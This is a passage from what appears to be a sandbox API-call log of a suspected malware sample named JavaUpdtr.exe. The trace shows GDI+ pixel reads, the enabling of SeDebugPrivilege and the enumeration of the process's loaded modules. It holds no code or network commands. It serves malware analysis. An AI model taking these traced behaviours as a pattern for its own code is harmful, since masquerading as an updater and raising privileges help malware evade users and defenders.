(bitmap=0x4932f08, x=244, y=332, color=0x31cb2c) returned 0x0 [0114.987] GetLastError () returned 0x0 [0114.987] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.987] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.987] GdipBitmapGetPixel (bitmap=0x4932f08, x=245, y=332, color=0x31cb2c) returned 0x0 [0114.987] GetLastError () returned 0x0 [0114.987] GdipGetImageWidth (image=0x4932f08, width=0x31cb1c) returned 0x0 [0114.987] GdipGetImageHeight (image=0x4932f08, height=0x31cb1c) returned 0x0 [0114.987] GdipBitmapGetPixel (bitmap=0x4932f08, x=246, y=332, color=0x31cb2c) returned 0x0 [0114.987] GetLastError () returned 0x0 [0114.987] GdipBitmapGetPixel (bitmap=0x4932f08, x=247, y=332, color=0x31cb2c) returned 0x0 [0114.987] GetLastError () returned 0x0 [0114.987] GdipBitmapGetPixel (bitmap=0x4932f08, x=248, y=332, color=0x31cb2c) returned 0x0 [0114.987] GetLastError () returned 0x0 [0115.270] GetCurrentProcessId () returned 0x4e8 [0115.286] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x31c33c | out: lpLuid=0x31c33c*(LowPart=0x14, HighPart=0)) returned 1 [0115.316] GetLastError () returned 0x0 [0115.317] GetCurrentProcess () returned 0xffffffff [0115.317] GetLastError () returned 0x0 [0115.319] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x31c338 | out: TokenHandle=0x31c338*=0x200) returned 1 [0115.319] GetLastError () returned 0x0 [0115.322] AdjustTokenPrivileges (in: TokenHandle=0x200, DisableAllPrivileges=0, NewState=0x264fa94*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0115.322] GetLastError () returned 0x514 [0115.323] CloseHandle (hObject=0x200) returned 1 [0115.323] GetLastError () returned 0x514 [0115.333] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x200 [0115.333] GetLastError () returned 0x514 [0115.342] EnumProcessModules (in: hProcess=0x200, lphModule=0x2650430, cb=0x100, lpcbNeeded=0x31cac0 | out: lphModule=0x2650430, lpcbNeeded=0x31cac0) returned 1 [0115.343] GetLastError () returned 0x514 [0115.352] GetModuleInformation (in: hProcess=0x200, hModule=0xd40000, lpmodinfo=0x2650570, cb=0xc | out: lpmodinfo=0x2650570*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0115.353] GetLastError () returned 0x514 [0115.355] GetModuleBaseNameW (in: hProcess=0x200, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0115.355] GetLastError () returned 0x514 [0115.356] GetModuleFileNameExW (in: hProcess=0x200, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0115.356] GetLastError () returned 0x514 [0115.357] GetModuleInformation (in: hProcess=0x200, hModule=0x77ac0000, lpmodinfo=0x26516d4, cb=0xc | out: lpmodinfo=0x26516d4*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0115.357] GetLastError () returned 0x514 [0115.357] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0115.357] GetLastError () returned 0x514 [0115.358] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0115.358] GetLastError () returned 0x514 [0115.358] GetModuleInformation (in: hProcess=0x200, hModule=0x73cc0000, lpmodinfo=0x26527c8, cb=0xc | out: lpmodinfo=0x26527c8*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0115.358] GetLastError () returned 0x514 [0115.358] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0115.359] GetLastError () returned 0x514 [0115.359] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0115.359] GetLastError () returned 0x514 [0115.359] GetModuleInformation (in: hProcess=0x200, hModule=0x75930000, lpmodinfo=0x26538c4, cb=0xc | out: lpmodinfo=0x26538c4*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0115.359] GetLastError () returned 0x514 [0115.359] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0115.359] GetLastError () returned 0x514 [0115.360] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0115.360] GetLastError () returned 0x514 [0115.360] GetModuleInformation (in: hProcess=0x200, hModule=0x77670000, lpmodinfo=0x26549c8, cb=0xc | out: lpmodinfo=0x26549c8*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0115.360] GetLastError () returned 0x514 [0115.360] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0115.360] GetLastError () returned 0x514 [0115.361] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0115.361] GetLastError () returned 0x514 [0115.361] GetModuleInformation (in: hProcess=0x200, hModule=0x75db0000, lpmodinfo=0x2655b04, cb=0xc | out: lpmodinfo=0x2655b04*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0115.361] GetLastError () returned 0x514 [0115.361] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0115.361] GetLastError () returned 0x514 [0115.362] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0115.362] GetLastError () returned 0x514 [0115.362] GetModuleInformation (in: hProcess=0x200, hModule=0x76d40000, lpmodinfo=0x2656c08, cb=0xc | out: lpmodinfo=0x2656c08*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0115.362] GetLastError () returned 0x514 [0115.362] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0115.362] GetLastError () returned 0x514 [0115.362] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0115.363] GetLastError () returned 0x514 [0115.363] GetModuleInformation (in: hProcess=0x200, hModule=0x76ec0000, lpmodinfo=0x2657d04, cb=0xc | out: lpmodinfo=0x2657d04*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0115.363] GetLastError () returned 0x514 [0115.363] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0115.363] GetLastError () returned 0x514 [0115.364] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0115.364] GetLastError () returned 0x514 [0115.364] GetModuleInformation (in: hProcess=0x200, hModule=0x75e50000, lpmodinfo=0x2658e00, cb=0xc | out: lpmodinfo=0x2658e00*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0115.364] GetLastError () returned 0x514 [0115.364] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0115.364] GetLastError () returned 0x514 [0115.364] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0115.365] GetLastError () returned 0x514 [0115.365] GetModuleInformation (in: hProcess=0x200, hModule=0x75620000, lpmodinfo=0x2659f4c, cb=0xc | out: lpmodinfo=0x2659f4c*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0115.365] GetLastError () returned 0x514 [0115.365] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0115.366] GetLastError () returned 0x514 [0115.366] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0115.366] GetLastError () returned 0x514 [0115.366] GetModuleInformation (in: hProcess=0x200, hModule=0x75610000, lpmodinfo=0x265b048, cb=0xc | out: lpmodinfo=0x265b048*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0115.366] GetLastError () returned 0x514 [0115.366] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0115.367] GetLastError () returned 0x514 [0115.367] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0115.368] GetLastError () returned 0x514 [0115.368] GetModuleInformation (in: hProcess=0x200, hModule=0x737a0000, lpmodinfo=0x265c14c, cb=0xc | out: lpmodinfo=0x265c14c*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0115.368] GetLastError () returned 0x514 [0115.368] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0115.368] GetLastError () returned 0x514 [0115.368] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0115.369] GetLastError () returned 0x514 [0115.369] GetModuleInformation (in: hProcess=0x200, hModule=0x75ba0000, lpmodinfo=0x265d284, cb=0xc | out: lpmodinfo=0x265d284*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0115.369] GetLastError () returned 0x514 [0115.369] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0115.370] GetLastError () returned 0x514 [0115.370] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0115.370] GetLastError () returned 0x514 [0115.370] GetModuleInformation (in: hProcess=0x200, hModule=0x75c40000, lpmodinfo=0x265e380, cb=0xc | out: lpmodinfo=0x265e380*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0115.371] GetLastError () returned 0x514 [0115.371] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0115.371] GetLastError () returned 0x514 [0115.371] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0115.372] GetLastError () returned 0x514 [0115.372] GetModuleInformation (in: hProcess=0x200, hModule=0x75a40000, lpmodinfo=0x265f474, cb=0xc | out: lpmodinfo=0x265f474*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0115.372] GetLastError () returned 0x514 [0115.372] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0115.372] GetLastError () returned 0x514 [0115.373] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0115.373] GetLastError () returned 0x514 [0115.373] GetModuleInformation (in: hProcess=0x200, hModule=0x75c00000, lpmodinfo=0x2660570, cb=0xc | out: lpmodinfo=0x2660570*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0115.373] GetLastError () returned 0x514 [0115.373] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0115.374] GetLastError () returned 0x514 [0115.374] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0115.374] GetLastError () returned 0x514 [0115.374] GetModuleInformation (in: hProcess=0x200, hModule=0x76ee0000, lpmodinfo=0x266165c, cb=0xc | out: lpmodinfo=0x266165c*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0115.375] GetLastError () returned 0x514 [0115.375] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0115.375] GetLastError () returned 0x514 [0115.376] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0115.376] GetLastError () returned 0x514 [0115.376] GetModuleInformation (in: hProcess=0x200, hModule=0x758d0000, lpmodinfo=0x26627e0, cb=0xc | out: lpmodinfo=0x26627e0*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0115.376] GetLastError () returned 0x514 [0115.376] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0115.377] GetLastError () returned 0x514 [0115.377] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0115.378] GetLastError () returned 0x514 [0115.378] GetModuleInformation (in: hProcess=0x200, hModule=0x76df0000, lpmodinfo=0x26638d4, cb=0xc | out: lpmodinfo=0x26638d4*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0115.378] GetLastError () returned 0x514 [0115.378] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0115.379] GetLastError () returned 0x514 [0115.379] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0115.379] GetLastError () returned 0x514 [0115.379] GetModuleInformation (in: hProcess=0x200, hModule=0x75430000, lpmodinfo=0x26649c8, cb=0xc | out: lpmodinfo=0x26649c8*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0115.380] GetLastError () returned 0x514 [0115.380] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0115.380] GetLastError () returned 0x514 [0115.380] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0115.381] GetLastError () returned 0x514 [0115.381] GetModuleInformation (in: hProcess=0x200, hModule=0x749d0000, lpmodinfo=0x2665ac4, cb=0xc | out: lpmodinfo=0x2665ac4*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0115.381] GetLastError () returned 0x514 [0115.382] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0115.382] GetLastError () returned 0x514 [0115.382] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0115.383] GetLastError () returned 0x514 [0115.383] GetModuleInformation (in: hProcess=0x200, hModule=0x75390000, lpmodinfo=0x2666bfc, cb=0xc | out: lpmodinfo=0x2666bfc*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0115.383] GetLastError () returned 0x514 [0115.383] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0115.384] GetLastError () returned 0x514 [0115.384] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0115.384] GetLastError () returned 0x514 [0115.384] GetModuleInformation (in: hProcess=0x200, hModule=0x75f40000, lpmodinfo=0x2667d90, cb=0xc | out: lpmodinfo=0x2667d90*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0115.385] GetLastError () returned 0x514 [0115.385] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0115.385] GetLastError () returned 0x514 [0115.385] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0115.386] GetLastError () returned 0x514 [0115.386] GetModuleInformation (in: hProcess=0x200, hModule=0x75770000, lpmodinfo=0x2668e8c, cb=0xc | out: lpmodinfo=0x2668e8c*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0115.386] GetLastError () returned 0x514 [0115.387] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0115.387] GetLastError () returned 0x514 [0115.387] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0115.388] GetLastError () returned 0x514 [0115.388] GetModuleInformation (in: hProcess=0x200, hModule=0x75290000, lpmodinfo=0x2669f80, cb=0xc | out: lpmodinfo=0x2669f80*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0115.388] GetLastError () returned 0x514 [0115.388] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0115.389] GetLastError () returned 0x514 [0115.389] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0115.390] GetLastError () returned 0x514 [0115.390] GetModuleInformation (in: hProcess=0x200, hModule=0x72ac0000, lpmodinfo=0x266b07c, cb=0xc | out: lpmodinfo=0x266b07c*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0115.390] GetLastError () returned 0x514 [0115.390] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0115.391] GetLastError () returned 0x514 [0115.391] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0115.392] GetLastError () returned 0x514 [0115.392] GetModuleInformation (in: hProcess=0x200, hModule=0x75440000, lpmodinfo=0x266c214, cb=0xc | out: lpmodinfo=0x266c214*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0115.392] GetLastError () returned 0x514 [0115.392] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0115.393] GetLastError () returned 0x514 [0115.393] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0115.393] GetLastError () returned 0x514 [0115.393] GetModuleInformation (in: hProcess=0x200, hModule=0x75230000, lpmodinfo=0x266d310, cb=0xc | out: lpmodinfo=0x266d310*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0115.394] GetLastError () returned 0x514 [0115.394] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0115.394] GetLastError () returned 0x514 [0115.395] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0115.395] GetLastError () returned 0x514 [0115.395] GetModuleInformation (in: hProcess=0x200, hModule=0x72320000, lpmodinfo=0x266e448, cb=0xc | out: lpmodinfo=0x266e448*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0115.396] GetLastError () returned 0x514 [0115.396] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0115.396] GetLastError () returned 0x514 [0115.397] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0115.397] GetLastError () returned 0x514 [0115.398] GetModuleInformation (in: hProcess=0x200, hModule=0x750a0000, lpmodinfo=0x266f5d4, cb=0xc | out: lpmodinfo=0x266f5d4*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0115.399] GetLastError () returned 0x514 [0115.399] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0115.400] GetLastError () returned 0x514 [0115.400] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0115.400] GetLastError () returned 0x514 [0115.401] GetModuleInformation (in: hProcess=0x200, hModule=0x74830000, lpmodinfo=0x2670790, cb=0xc | out: lpmodinfo=0x2670790*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0115.401] GetLastError () returned 0x514 [0115.401] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0115.402] GetLastError () returned 0x514 [0115.402] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0115.403] GetLastError () returned 0x514 [0115.403] GetModuleInformation (in: hProcess=0x200, hModule=0x746a0000, lpmodinfo=0x2671974, cb=0xc | out: lpmodinfo=0x2671974*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0115.403] GetLastError () returned 0x514 [0115.404] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0115.404] GetLastError () returned 0x514 [0115.404] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0115.405] GetLastError () returned 0x514 [0115.405] GetModuleInformation (in: 